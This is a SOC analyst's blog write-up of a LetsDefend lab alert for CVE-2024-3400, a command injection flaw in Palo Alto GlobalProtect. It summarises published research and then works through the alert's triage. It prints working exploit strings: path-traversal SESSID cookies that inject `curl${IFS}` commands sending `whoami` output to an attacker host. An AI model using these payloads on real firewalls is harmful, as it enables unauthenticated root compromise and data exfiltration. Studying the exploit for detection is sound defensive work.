Intro

This is an entry in my LetsDefend SOC Alert Writeup Series. The goal of doing writeups on LetsDefend alerts is to demonstrate my reseach, and thought process that goes into solving these alerts. The idea is to
I plan on digging into the CVE related to this alert again because of how much I learned from doing that on the last alert walkthrough. The alert is titled “Palo Alto Networks PAN-OS Command Injection Vulnerability Exploit (CVE-2024-3400)".

Wow, another alert related to a vulnerability in an “enterprise” grade security appliance, and command injection too! This seems worse than the path traversal/arbitrary file read vulnerability I dug into, and did the alert for (CVE-2024-24919). Let’s get into it.

CVE-2024-3400 Analysis

Starting by reading NIST’s description of this CVE. An arbitrary file creation vulnerability in GlobalProtect feature. Sounds concerning. I know GlobalProtect is Palo Alto’s remote access VPN feature. Wow, another firewall from a another popular security vendor with a vulnerability in their remote access feature. I guess threat actors find it easy to target these remote access VPN services because they are just hanging out on the internet, and can possibly lead to initial access.

It affects specific versions of the PAN-OS software, but interestingly it also says distinct feature configurations may enable an unauthenticated attacker to execute arbitrary code with root privileges on the firewall. So sounds like it’s not just any PA firewall with GlobalProtect (remote access VPN) enabled, but a specific config might need to be in place. Arbitrary code execution with root privileges on the firewall is not good at all. Threat actors could possibly take over your firewall, and start using it to do malicious activity.

This CVE sounds like straight bad new to me at this point. I know there is a lot of discussion around CVE ratings, and what really justifies a high score, but a score of 10 Critical for unauthenticated arbitrary code execution as root on an internet facing service seems like it deserves to get at least close to a 10.

Finding research on CVE

During my first search on google for this CVE I found the sub-reddit r/PaloAlto post discussing the CVE, but that didn’t yield much useful information. I found people being upset, saying patch now, and arguments about the effectiveness of the patch. One thing I picked up is that this CVE was supposedly brought to Palo Alto by a research group called Volexity. Folks were saying Volexity rushed the disclosure before a patch was properly in place. I wasn’t finding a good write up like the Watchtowr labs one I read for CVE-2024-24919 easily on google. I decided to head back to labs.watchtowr.com to see if they had one. They did, and this made me realize the importance of having a good list of sources to go for information. Unfortunately, most news articles or social media posts related to this CVE just aren’t going to link to POC’s, or technical write-ups explaining the issue in depth. Knowing where to look for good write-ups is an important as a SOC analyst.

The first couple paragraphs of the Watchtowr write-up recommend reading Volexity’s write-up first. Okay, I like to see the researchers who actually discovered this vulnerability are sharing their thoughts and findings. I will start with reading the Volexity write-up

CVE Discovery

Volexity is a company that offers Network Monitoring services to companies. After receiving alerts about potentially malicious network traffic coming from a customers Palo Alto firewall they started their investigation. They went on to find that the firewall hadn’t just been attacked it was actually compromised. Then, Volexity found the same exploit techniques on another customers PA FW. Volexity also believes the attacks are coming from the same Threat Actor.

Advanced Threat Actor

Given the advanced nature this exploit, who was targeted, and the skill that was used to pull it all off Volexity puts forward that this TA could be nation state backed. Meaning a government is likely supporting, funding, and guiding these actions. Typically nation state attacks are of higher sophistication and skill, and could be more likely to combine an unknown zero-day with tired and true red team tactics to easily break into networks and steal data.

Volexity Write-Up High-Level

It took me awhile to get through this article. I think it’s much more technically involved than the last CVE I covered. However, I think I’m really starting to put it together. The Volexity write-up to me is explaining how the threat actor leveraged CVE-2024-3400 to deploy a backdoor on the system that allowed them to execute commands on the system as root, but to me it doesn’t get into details about how the TA deployed the backdoor. The actual details of CVE-2024-3400 seem to be missing. I’m struggling to find the words to explain it, but how did the TA get the backdoor on the System? Volexity, seems to focus on how arbitrary code execution provided by the CVE was then used to exploit the system further and obtain lateral movement. Perhaps this is on purpose because it sounds like a patch might not have been available at time of publish, but Volexity claims it’s still better for organizations to know.

The idea is they can go threat hunting and looking of signs of compromise on their own. I see what they are saying, but then I also think of the many companies that have very low security resources who might not be able to quickly pivot into a large network investigation. Seems like you could argue the benefits of early discourse versus waiting for a patch all day long.

The Watchtowr write-up seems to really get into the details of how the arbitrary code execution might have been first obtained. I don’t think we know for sure this is how TA’s were obtaining RCE, we are just watching a smart researcher try to figure it out, but it’s a high probability it was very close. I’m going to start to try to explain that initial access portion first. So back to the Watchtowr article.

Watchtowr Deep Dive

The researcher starts with reading the public CVE description like we did earlier. They also note that at the time it was thought telemetry needed to be enabled in order for the device to be vulnerable, but since then PA has clarified that is not necessary.

Getting a Vulnerable Device and

I wanted to talk about this because I thought it was pretty interesting. The researcher needed to get their hands on a PA firewall running the vulnerable firmware. However, a new enterprise firewall can run you thousands. Add in licensing costs and this research could get outrageously expensive quick. So they turned to AWS and rented an instance of the firewall. This inspires me to rent an enterprise firewall in the cloud, and just play around with the OS. Maybe try to configure some rules and see what I can learn. Perhaps find some bugs… we’ll see about that part.

Accessing The File System

Now that the researcher had a firewall, the first place they went looking is the file system. Something else I thought was pretty cool was how they booted the firewall from a bootable linux image in AWS. In the non-cloud physical world, this would be like taking a bootable linux usb, plugging it into firewall, then getting into the firewalls bios/boot environment, and selecting the usb drive causing linux to boot. Because there is no disk encryption at play, another mark against Palo Alto, the firewalls hard drive can be mounted to the linux OS. The result is the firewall appliance is running linux instead of PAN-OS with access to the firewall’s hard drive and file system.

Poking Around File System

The researcher looked over the file system on the firewall, and found it had the expected layout for a linux system with a nginx web server running. Sounds like a good place to go hunting for bugs because the web portal that users or administrators to might use to connect to these VPN appliances is powered by this nginx service.

Looking at nginx configuration files they were able to find their next clue. A config file with a line that uses regex to select from a list of endpoints that are to be exposed. Meaning, these endpoints should be able to be accessed from the internet. I also thought it was interesting that the web server proxies these URL’s to an internal loopback address port 20177 on the box. So the actual processing of the requests happens internally. This has to be for security reason of some kind? Maybe, this abstracts what’s happening after the client request is made to the server?

1
2
3
4

location ~ global-protect/(prelogin|login|getconfig|getconfig_csc|satelliteregister|getsatellitecert|getsatelliteconfig|getsoftwarepage|logout|logout_page|gpcontent_error|get_app_info|getmsi|portal\\/portal|portal/consent).esp$ {
    include gp_rule.conf;
    proxy_pass   http://$server_addr:20177;
}

At this point they tried some basic command injection techniques against these endpoints. The goal was to see if this is where the command injection was taking place, but didn’t achieve success.

Next, the researcher was able to determine that gpsvc (GlobalProtect service) is responsible for handling requests to the above endpoints. I’m not sure how they figured that out. Something about cracking open the “hander”, (maybe typo for “handler”?) for “this service”, (the NGINX service?) After asking ChatGPT about it, my guess is they were able to see all the binaries on the system, and gpsvc just made sense that it would handle GlobalProtect URLs.

And they would have to have seen the binary for gpsvc when poking around the file system because next the researcher puts that very same binary into IDA pro to attempt some reverse engineering. Super interesting, they luck out when they load the binary into IDA because they are told it includes “debug symbols” by IDA. I looked this up, and it’s good practice to strip these debug symbols from the binary before deploying production code because they include things like function names, and variable references so reverse engineering is easier. Not a good look for PA.

The researcher says they looked for references to the system call. If this gpsvc service references system, which is related to executing commands on the system (like running commands in a bash prompt), then some command injection might be achieved. However, there wasn’t an obvious way to do this.

Playing With Session ID’s

My brain hurts at this point trying to keep everything straight, hopefully I’m learning something. Let’s see this to the end. So next the researcher starts messing around with SESSID values set as the Cookie header sent to the firewall using HTTP requests. Then they start looking at web server error logs on the firewall. They leave out the location of these log files, but they probably aren’t too hard to find. Likely located in the /var/log folder somewhere related to nginx. At this point they probably rebooted their firewall so it’s running PAN-OS again to check the logs while they sent their custom HTTP requests to the server.

First, Cookie: SESSID=peekaboo; is sent revealing a "failed to unmarshal session(peekaboo) map , EOF" error. The researcher seems excited by this finding. To me it sounds like the firewall failed to find a session matching peekaboo. Next they send SESSID=foo/bar revealing the error failed to load file /tmp/sslvpn/session_foo/bar. The researcher is somewhat intrigued by this finding. To me it sounds like we discovered this SESSID value can get the system to attempt to read files, but the file doesn’t exit so it’s not found. Lastly, the researcher sends SESSID=/../hax;, but they get another "failed to unmarshal session(/../hax) map , EOF" again. I was thinking that would have been a breakthrough, but the researcher seems frustrated to they turn back to the code and start looking at functions related session storage to really understand what’s happening. So maybe they didn’t learn a ton just now either, but kept it in the write-up because it was on the right track. In hindsight this is a key part to this exploit.

Session Storage Functions

I have spent way too much time on a letesdefend alert writeup that has turned into a write-up of a CVE write-up. I am going to try to speed through some of the code analysis. Basically, a function called main__ptr_SessDiskStore_New takes the SESSID and concatenates it into a filepath. Okay, maybe that’s why we were getting the can’t find file error earlier? Then the same function goes onto create the directory tree that is supposed to have the file containing session ID.

So at this point, the researcher has the ability to create a file path with an empty file at the end. However, they can’t put things in the file, so it rules out something like uploading a reverse shell that will connect back to the attackers machine. They mention creating new file in locations like /dev to just brick the firewall by causing it to run out of memory. However, they are trying to find the RCE in this firewall not just figure out how to break firewalls from the internet. That being said, if you firewall worth thousands of dollars can be taken offline so easily, what exactly are you paying for. However, they learned that being able to create files in /dev meant this file creation was happening as a superuser or root.

To prove their understanding of what they have found so far the researcher sends a POST request to a publicly available endpoint /ssl-vpn/hipreport.esp with the SESSID set to /../../../var/appweb/sslvpndocs/global-protect/portal/images/watchtowr.txt;. Then they send a GET request to retrieve the file they just created, but instead of getting a 404 error, meaning that the file does not exist, they get a 403 error, meaning the file exists but you don’t have the resources to view it. This confirms that the file was created by root user which is why we aren’t allowed to retrieve it.

Telemetry isn’t needed?

At the time of writing the watchtowr article the authors thought telemetry has to be enabled for this exploit to take place. It turns out that wasn’t necessary, but is sounds like the telemetry functions are still a huge part of this exploit. I assume these endpoints are still there and available even if telemetry isn’t enabled. By disabling telemetry the only thing turned off is the part where logs actually get sent to PA, but all mechanisms are in place regardless making this exploit possible on both telemetry enabled and disabled firewalls.

The researcher starts looking through more logs and finds entries showing curl is being used to send logs back to PA. So then they turn to the code that they think is responsible for using curl. It’s in this piece of code they find a function that allows commands to be run in the systems shell subprocess.Popen(), and PA did try to sanitize this input with shell=False but the researcher found it was negated later in a function call that contained shell=True.

Turning to a directory controlled by telemetry /opt/panlogs/tmp/device_telemetry/minute/ the researcher creates a file called hellothere, and checking the same logs that showed them curl was being used to send telemetry they saw hellothere being inserted into a CURL command!

send_file: curl cmd: '/usr/bin/curl -v -H "Content-Type: application/octet-stream" -X PUT "<https://storage.googleapis.com/bulkreceiver-cdl-prd1-sg/telemetry/><serial-no>/2024/04/16/08/33//opt/panlogs/tmp/device_telemetry/minute/hellothere?GoogleAccessId=bulkreceiver-frontend-sg-prd@cdl-prd1-sg.iam.gserviceaccount.com&Expires=1713256984&Signature=<truncated>" --data-binary @/opt/panlogs/tmp/device_telemetry/minute/**hellothere** --capath /tmp/capath'

The right payload

The researcher knows they are onto something here. Next they realized spaces were being removed, so they used the shell variable IFS as space instead. Finally, they had achieved remote code execution on the firewall sending

Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}attacker-infra.com`;

High-Level Recap

Wow, we might have spent too much time on this, but I learned a lot for sure. Trying to put it together in my own words as concise as possible here is my recap.

Remote access SSLVPN appliance hosts unauthenticated HTTP endpoints reachable from the internet. For example, ./../../../opt/panlogs/tmp/device_telemetry/hour/aaa. If file path is sent as SESSID parameter in Cookie header of POST request a zero length file is created at that location.

Palo Alto telemetry sends data back to PA servers using curl as reflected by device logs. This includes new files created under /opt/panlogs/tmp/device_telemetry/hour/aaa. New filenames in this directory are not being properly sanitized, so commands can be injected into the new filename by enclosing them in backticks ` which tells the firewall to execute this string as a system command. The injected commands will run under same bash instance curl for telemetry uses.

In order to view command output curl is injected using backticks in the filename with ${IFS}as space character to be used to send output to attacker controlled infrastructure. Attackers can then leverage command substitution within the injected curl command by setting the additional command as a URL variable using $() For example, curl${IFS}144.172.79.92:4444?user=$(whoami). This will cause the output of the whoami command to be sent to attacker controlled url using curl.

Putting it all together an attacker can send crafted unauthenticated HTTP requests to vulnerable PA firewalls at publicly available endpoints achieving remote code execution. This could be scripted to expand capabilities and scale of attack. As Volexity went into detail. Likely, this attack would be leveraged by TA’s to move up the attack chain and obtain lateral and/or perform data exfiltration.

1
2
3

POST /global-protect/login.esp
Host: [target-domain/ip-address]
Cookie=SESSID=./../../../opt/panlogs/tmp/device_telemetry/hour/aaa`curl${IFS}144.172.79.92:4444?user=$(whoami)

LetsDefend SOC Alert Walkthrough

Remember the point of everything above was just to get a better understanding of this CVE, so when I eventually got to the alert I would understand what’s happening, and can know what to look for better than just going of the information in the alert. In the real world every alert doesn’t have have associated write-ups from smart researchers walking you through everything, but I feel it was worth the time in this lab environment.

Alert Breakdown

This alert is matching a rule called SOC274 - Palo Alto Networks PAN-OS Command Injection Vulnerability Exploitation (CVE-2024-3400). I think we know a little bit about that CVE by now.

Hostname is PA-Firewall-01.

• We can probably assume this is a Palo Alto Firewall being targeted.

Destination IP is 172.16.17.139.

• Probably a private IP used by our letsdefend fake company.

Source IP is 144.172.79[.]92.

• Public IP address used by attacker. We should check reputation.

Reputation Check

AbuseIPDB has one report of our source IP address as malicious for an unauthorized scraping attempt.

The IP is associated with an ISP called Frantech Soulutions. When you try to go the ISP’s website you get a message that they are no longer in business. Weird, but that’s probably a symptom of the letsdefend lab environment and nothing to do with the investigation.

VirusTotal has way more reports of malicious activity for this IP address. 13/94 vendors flagged it, and they are saying the ISP is ROUTERHOSTING. Which apparently is now Cloudzy. Never heard of it, but some light googling reveals it’s likely a sketchy VPS service.

Lastly, the letsdefend Threat Intel feed says this IP is also malicious

HTTP Request Method for this alert is POST, and that checks out with this CVE.

Requested URL is 172.16.17.139/global-protect/login.esp which is from the list of publicly exposed endpoints by global protect service the watchtowr researcher.

1
2
3
4

location ~ global-protect/(prelogin|login|getconfig|getconfig_csc|satelliteregister|getsatellitecert|getsatelliteconfig|getsoftwarepage|logout|logout_page|gpcontent_error|get_app_info|getmsi|portal\\/portal|portal/consent).esp$ {
    include gp_rule.conf;
    proxy_pass   http://$server_addr:20177;
}

The cookie variable sent is hitting a one of the telemetry paths, so this will create a zero length file at this location. Because it’s in the a telemetry directory and IFS was used as a space character, so the firewalls telemetry service will send this file to PA, but the string curl${IFS}144.172.79.92:4444?user=$(whoami) will be run as a separate curl command causing the firewall to connect to the attackers IP address on port 4444 using curl. It will also run the whoami command and send that output with curl to the attackers IP address.

1

SESSID=./../../../opt/panlogs/tmp/device_telemetry/hour/aaa`curl${IFS}144.172.79.92:4444?user=$(whoami)

One thing to note is there isn’t another back tick and semi colon at the end of this string, so will the command succeeded, or did lets defend mess up writing this alert? We have to check the logs on this firewall to see what HTTP response the firewall gave this request to really know if was successful.

Hmm I’m not finding HTTP response logs in Log Managment section of letsdefend, so maybe we can see if the firewall connected to the attacker. I’m not finding logs with destination IP of attackers IP either. Maybe this attack did fail… I don’t know what else to check though to say for sure.

Turning back to the playbook for ideas I read about checking command history on device, so I head back to Endpoint Security connection. I check Network Action setting and find the firewall did connect to the attackers IP address on Apr 18 2024 15:09:42 which is the same time our alert was triggered.

I’m going to go ahead and contain this firewall real quick because it does look like the attack was successful. In the real world at a real company I would follow our process for containment which might even involve escalating this to someone else, but I wouldn’t just be yanking remote access VPN firewalls off the network on a hunch.

I don’t see anything related to this alert under processes, terminal history, and browser history. I would think that curl and/or whoami would be here, but I guess not.

Artifacts

Well I’m not sure what else to investigate inside the letsdefend lab, so let’s grab some artifacts.

Just doing the IP address for this one.

144.172.79.92 - Malicious IP exploiting CVE-2024-3400 on PA firewalls on our network.

Escalation

Considering I found this to be successful I will choose to escalate this as that’s what letsdefend tells you to do, but in a real job I would learn and follow the companies process for escalation.

Analyst Note

This is the note I would leave in the ticket, so tier 2 can hopefully understand the issue quickly.

Legit exploitation of CVE-2024-3400 on PA firewall configured for VPN remote access. POST request was sent to publicly available endpoint with Cookie header set to SESSID equal to file path that allows arbitrary file creation. Telemetry services on firewall will run new file names in this directory as system commands as root user if back ticks and IFS techniques are used in file creation. This attack is using curl to send other commands outputs to their infrastructure.

Network traffic from firewall reveals attacker was successfully able to get firewall to connect back to their IP address.

Firewall is running version of PAN-OS (pan-os 10.2.0) vulnerable to this CVE.

Conclusion

Well there you have it a very long deep dive into the CVE, and a run through of solving the related alert on LetsDefend. If you are reading this I hope you also learned something along the way.

References

Volexity Writeup - https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/

WatchTowr Labs Writeup - https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/

LetsDefend Labs - https://app.letsdefend.io/monitoring